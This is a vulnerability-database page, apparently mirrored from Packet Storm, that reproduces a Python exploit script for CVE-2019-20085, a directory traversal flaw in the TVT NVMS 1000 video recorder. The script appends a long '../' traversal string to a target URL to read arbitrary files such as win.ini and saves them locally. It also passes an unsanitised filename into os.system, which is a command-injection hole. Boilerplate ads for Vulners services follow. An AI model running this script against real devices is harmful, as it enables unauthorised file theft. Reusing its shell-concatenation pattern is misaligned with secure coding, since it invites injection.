Lucene search
K

TVT NVMS 1000 Directory Traversal

🗓️ 13 Apr 2020 00:00:00Reported by Mohin ParamasivamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 118 Views

TVT NVMS 1000 Directory Traversal, CVE-2019-20085, Remote Code Executio

Related
Code
`# Exploit Title: TVT NVMS 1000 - Directory Traversal   
# Date: 2020-04-13  
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)  
# Vendor Homepage: http://en.tvt.net.cn/  
# Version : N/A  
# Software Link : http://en.tvt.net.cn/products/188.html  
# Original Author : Numan Türle  
# CVE : CVE-2019-20085  
  
import sys  
import requests  
import os  
import time  
  
if len(sys.argv) !=4:  
print " "  
print "Usage : python exploit.py url filename outputname"  
print "Example : python exploit.py http://10.10.10.10/ windows/win.ini win.ini"   
print " "  
else:  
  
  
traversal = "../../../../../../../../../../../../../"  
filename = sys.argv[2]  
url = sys.argv[1]+traversal+filename  
outputname = sys.argv[3]  
content = requests.get(url)  
  
if content.status_code == 200:  
  
print " "  
print "Directory Traversal Succeeded"  
time.sleep(3)  
print " "  
print "Saving Output"  
os.system("touch " + outputname)  
output_write = open(outputname,"r+")  
output_write.write(content.text)  
output_write.close()  
  
else:  
  
print "Host not vulnerable to Directory Traversal!"  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation